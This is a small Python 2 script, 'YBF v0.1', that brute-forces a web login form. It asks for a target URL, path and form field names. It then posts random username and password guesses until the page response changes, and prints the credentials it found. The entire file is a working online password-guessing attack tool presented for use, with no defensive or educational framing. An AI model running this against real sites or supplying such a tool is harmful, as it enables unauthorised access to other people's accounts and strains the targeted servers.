# Brute Force Program
# By Yotam

import httplib, urllib, random, string
def bruteforce(url, path, uform, pform, user, max_ulength, max_pass_length, min_ulength, min_pass_length):
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    headers = {'Content-type' : 'application/x-www-form-urlencoded', 'Accept' : 'text/plain'}
    http_conn = httplib.HTTPConnection(url)
    # test requset:
    http_conn.request('GET', path)
    get_test = http_conn.getresponse()
    if (get_test.status == 200):
        print('successfully connected to ' + url + '\n')
        regular_page_content = get_test.read()
    else:
        print('Error: ' + get_test.status + ' ' + get_test.reason + '\n')
        input()
        exit()
    # send a POST request with incorrect details to get an error page:
    http_conn.request('POST', path, urllib.urlencode({uform : user, pform : '........'}), headers)
    get_error = http_conn.getresponse()
    error_content = get_error.read()
    # send a GET request to get a start point:
    http_conn.request('GET', path)
    get_main = http_conn.getresponse()
    main_content = get_main.read()
    # the BF loop:
    while (main_content == regular_page_content or main_content == error_content):
        if (user == ''):
            random_length_user = random.randint(min_ulength, max_ulength)
            random_char_number = 1
            random_string_user = ''
            while random_char_number <= random_length_user:
                random_char_user = chars[random.randint(0, len(chars) - 1)]
                random_string_user = random_string_user + random_char_user
                random_char_number = random_char_number + 1
            username = random_string_user
        else:
            username = user
        random_length_password = random.randint(min_pass_length, max_pass_length)
        random_char_number = 1
        random_string_password = ''
        while random_char_number <= random_length_password:
            random_char_password = chars[random.randint(0, len(chars) - 1)]
            random_string_password = random_string_password + random_char_password
            random_char_number = random_char_number + 1
        password = random_string_password
        print('trying username ' + username + ' with password ' + password)
        params = urllib.urlencode({uform : username, pform : password})
        http_conn.request('POST', path, params, headers)
        check_r = http_conn.getresponse()
        main_content = check_r.read()
        if (main_content != regular_page_content and main_content != error_content):
            print('Brute force succeeded!\nUsername: ' + username + '\nPassword: ' + password + '\nURL: ' + url + path)
            break
        else:
            pass
    http_conn.close()
print 'YBF v0.1'
print '\nBy Yotam'
print '\n\n'
address = raw_input('Enter URL:\n')
path = raw_input('enter the path of the file:\n')
user_form = raw_input('enter the username input field name:\n')
pass_form = raw_input('enter the password input field name:\n')
option = input('choose one of this options:\n1) guess the username too.\n2) I have the username. guess only the password.\n')
if (option == 1):
    uname = ''
    u_min_l = input('enter min length for the username:\n')
    u_max_l = input('enter max length for the username:\n')
elif (option == 2):
    u_min_l = 0
    u_max_l = 0
    uname = raw_input('enter username:\n')
p_min_l = input('enter min length for the password:\n')
p_max_l = input('enter max length for the password:\n')
bruteforce(address, path, user_form, pass_form, uname, u_max_l, p_max_l, u_min_l, p_min_l)
print('\n')
input()